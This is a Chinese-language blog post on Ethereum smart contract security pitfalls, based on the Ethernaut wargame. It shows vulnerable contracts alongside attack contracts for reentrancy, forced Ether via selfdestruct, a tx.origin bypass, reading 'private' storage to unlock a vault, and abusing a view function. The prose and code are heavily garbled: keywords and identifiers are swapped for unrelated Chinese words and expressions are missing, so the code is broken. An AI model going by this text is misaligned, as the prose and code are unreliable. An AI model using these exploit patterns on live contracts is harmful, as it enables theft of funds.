开发以太坊智能合约要注意的几个坑

以太坊智能合约安全绝境频繁呈现,若干普通和约,比方 token 合约,通常是 OpenZeppelin 为根底,来宣布参加竞选。OpenZeppelin 还开拓了系列智能合约使忧虑。:The Ethernaut,这是第一 wargame,眼前, 19 道题,每个成绩都是和约达到目的绝境,hack 唯一的大约我们的才干经过习惯。强烈推荐使忧虑,拘押和开展有价证券的智能合约,假设你不完成怎地做,你可以求教于很活动着的情境智能的辅导材料。:Ethernaut 减记 Part 1。本篇文字是对标题中关涉的若干知识点的总结。

Fallback 重大聚会

ET的智能合约,可以叫牌隐姓埋名重大聚会(未命名 功用),叫做 Fallback 重大聚会,此重大聚会不承受随便哪一个决定因素,缺少统计表值。。当一知识发送到和约时,假设未检出的婚配的重大聚会,它将被恳求 fallback 重大聚会。拿 … 来说,转变到和约,只承受和约 Ether,这么 fallback 重大聚会霉臭叫牌为 payable,不同的,尝试转变到本和约 ETH 将输掉。如次:

function() payable public { // payable 关键词,指向式的此重大聚会被恳求,可替换为和约 Ether。
}

发送到和约 send、transfer、call 同时恳求音讯 fallback 重大聚会,分别符合 send 和 transfer 有 2300 gas 的限度局限,执意,把它传给T fallback 的唯一的 2300 gas,很 gas 仅有的用于loggin,因对立的事物管理会超越 2300 gas。但 call 剩的都要了 gas 都给 fallback 重大聚会,这可能性引起散布恳求。

call 可能性引起重入袭击,向和约让储备时,会恳求 fallback 重大聚会,如次:

contract Reentrance {

  熭(地址 => 单位) public balances;

    // 再装填
  function 典赠(地址 至) public payable {
    结平 += 
  }

  // 反省结平
  function 均衡(地址 谁) public view returns (单位: 结平) {
    return 结平[谁]
  }

  // 提现
  function withdraw(单位: 归纳) public {
    假设(结平 >= 归纳) {
      if(.(归纳)()) {
        _amount;
      }
      balances[] -= _amount;
    }
  }

  function() public payable {}
}
   
contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address 目的) public payable {
    entrance = Reentrance(目的);
  }

  function deposit() public payable{
      ();
  }

  function attack() public{
    (0.5 乙醚)
    (0.5 乙醚)
  }

  function() public payable{
    (0.5 乙醚)
  }

  function withdraw() public {
      .transfer();
  }
}

袭击航线如图1所示。:

image

袭击者先盈利 ReentranceAttack 的 deposit() 功用发送 ETH 给 Reentrance 合约。而且盈利 attack() 取现,向 Reentrance 销路现钞,恳求 withdraw(),当体系演技时 withdraw(),将向合约 ReentranceAttack 转账,这将跳。 ReentranceAttack 的 fallback 重大聚会。再次恳求此重大聚会 withdraw(),这将引起隐现恳求(如上所示),白色天箭座变得有条理第一绕过。,直到 gas 价钱为使精疲力尽了,或 Reentrance 和约结平不可转出归纳,放弃斗争输掉。

引起ET衍生物的合约绝境 DAO 事变,它执意大约被袭击的。。在这里要把balances[] -= _amount; 写在转账优于。并运用 send()transfer() 以汇票gas值的运用,只大约可能性会引起在合约恳求fallback 重大聚会鉴于gas可能性不可。

智能合约最适度履行,提议运用 push 和 pull, 在 push 拆移运用send()transfer(),在pull 拆移运用()()。

在旁边,缺少完成 payable fallback 在以下两种情境下,重大聚会的盟约是可承受的 Ether: 1. 运用和约地址作为开掘地址 2. 恳求对立的事物和约的自毁功用 selfdestruct,以和约地址为决定因素。

A contract without a payable fallback function can receive Ether as a recipient of a coinbase transaction (别名 miner block 劝告) or as a destination of a 自毁。

以下信号可以完成为 payable fallback 功用和约发送 ETH:

contract Force {/*
*/}

contract SelfDestruct {
    address public dest_address;
    
    function SelfDestruct(address dest_addr) payable{ // 安排重大聚会为payable,这么就能在布置的时分给此合约转账。
            dest_address = dest_addr
    } 
    
    function attack(){
        selfdestruct(dest_address); // 在这里要约定为销毁时将基金发用无线电波发送的地址。
    }
}

Force 合约缺少完成 payable 重大聚会,但若经过上面的 SelfDestruct 合约,创立时, Force 和约地址输入,同时发送若干 ETH 给 SelfDestruction,而且盈利 SelfDestruct 的 attack 重大聚会,演技其达到目的 selfdestruct,则 SelfDestruct 余渣的全部 ETH 都将发用无线电波发送 Force。

和 分别,看上面的信号:

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = ;
  }

  function changeOwner(address 全部者) public {
    if ( != ) {
      owner = _owner;
    }
  }
}

呼叫成。,需求另一份和约, 和约地址变动, 演技和约的人。

contract HackTelephone {

  address public contractAddr = 0x9e...; // Telephone 和约地址

  Telephone telephone = Telephone(contractAddr);

  function changeowner() public  {
    ();
  }
}

大约可以成恳求 Telephone 的 changeOwner。 solidity 提出达到目的提议

Never use for 确认达标。

圆整数漏箱

function transfer(address _to, uint 面值) public returns (乔治英国数学家和逻辑学家) {
    需求(结平 - _value >= 0);
    balances[] -= _value;
    结平 += _value;
    return true;
  }

流入漏箱 _value,而且转学量漏箱。在旁边,圆整数的减、乘、除,提议运用 OpenZeppelin 完成的 SafeMath 合约。

和约履历贮存器架构

以太坊的全部履历都是publi,即令履历叫牌为公有变量,看上面的信号:

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 密码电文) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 密码电文) public {
    if (密码电文 == 密码电文) {
      locked = false;
    }
  }
}

究竟,恳求 (contractAddr) 可以失掉和约的全部部件变量,生殖器或普通。经过以下接近 js 信号使得 password 值:

var contractAddr = "0x9c...."; // Vault 和约地址
(contractAddr, 1, function(x, y) {
     ((y))
});

看一眼另第一举例。:

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function 隐秘的(音节32[3] 履历) public {
    data = _data;
  }
  
  function unlock(bytes16 键) public {
    需求(_键 == 音节16(履历[2]
    locked = false;
  }
}

在ETF的全部部件变量上通行很逆,constant 变量率直的编译成COD,在这里不思索。总公共的 5 个变量,经过检查:

let contractAddress = ''0x23..''; // 和约地址
for (按生活指数调整 = 0; index < 6; index++){
 storage = (contractAddress, index)
 (`[${index}]` + storage)

输入:

[0]0x0000000000000000000000000000000000000000000000000000007be0ff0a00
[1]0x01041553ed361174f92060a8390cbefad285f66969f14e9847bf233be4f252ec
[2]0xbcc6a03856edf34bf363b4ba202925265d535cbeadbc0d71ed3b3cef79b2116c
[3]0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000

初输入辨析,0x7be0ff0a00,对应和约变量:true的妖法0x00,10妖法 0x0a,妖法255 0xff,0x7be0ff0a00 至死六岁简直这些值的第一拼接,而 0x7be0 可能执意 awkwardness 的值,和约合不满 32 音节变量。大约,[1][2][3] 执意 data 很音节打扮,因而我们的可以断定。 履历[2] 0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54。因而不要在第一折合生殖器和约的和约中率直的做出批准断定,一切都是可见的!

view 和 pure

假设要叫牌只读重大聚会,不修正合约履历,通常,重大聚会叫牌为 view 和 pure,它们的使明确:

View Functions
Functions can be declared view in which case they promise not to modify the 州。

Pure Functions
Functions can be declared pure in which case they promise not to read from or modify the 州。

重大聚会可以叫牌为看待而不更改身份。但这是宽松的。,流行的 Solidity 编译程序不魄力演技看待重大聚会(看待 功用)或永恒值重大聚会(constant 功用)不克不及修正身份。缺少魄力纯重大聚会 功用)不读取身份知识。因而叫牌 view 和 pure 重大聚会,不克不及以誓言约束履历身份不见得被修正。看上面的信号:

interface Building {
  function isLastFloor(单位) view public returns (乔治英国数学家和逻辑学家);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(单位: _floor) public {
    Building building = Building();

    if (! (_floor)) {
      floor = _floor;
      top = (台面厚木板)
    }
  }
}

isLastFloor 叫牌为 view,但我们的可以写第一可以策划身份(state)的 isLastFloor 重大聚会,统计表 true,那么修正 Elevator 的 top 和 floor 变量,如次:

contract HackBuilding {   
    bool isLast = true;
    function isLastFloor(单位)  public returns (乔治英国数学家和逻辑学家) {
        isLast = !isLast;
        return isLast;
    }
    
    function 黑客(地址 目的) public {
        Elevator elevator = Elevator(目的);
        (10);
    }
}

总结:

  1. fallback 重大聚会:要向和约地址转账,要完成 payable fallback 重大聚会。即令还缺少对某人找岔子 payable fallback 重大聚会,两种情境下可承受和约 ETH:挖槽机开掘 ETH 收益,另第一盟约恳求自毁重大聚会 selfdestruct 并约定该合约为无线电接收机。
  2. 可重入的袭击,转账管理运用 send() 或许 transfer() 放量防止运用 call ,假设呼叫限度局限 gas 值。
  3. Etheric研讨会达到目的随便哪一个履历都是吐艳的,甚至在智能合约中叫牌为公有的变量。
  4. 不要用 做力量证明。
  5. 反省圆整数漏箱,运用 MathSafe 库。
  6. 不要以为叫牌为 view 或 pure 的重大聚会永久是只读。

发表评论

电子邮件地址不会被公开。 必填项已用*标注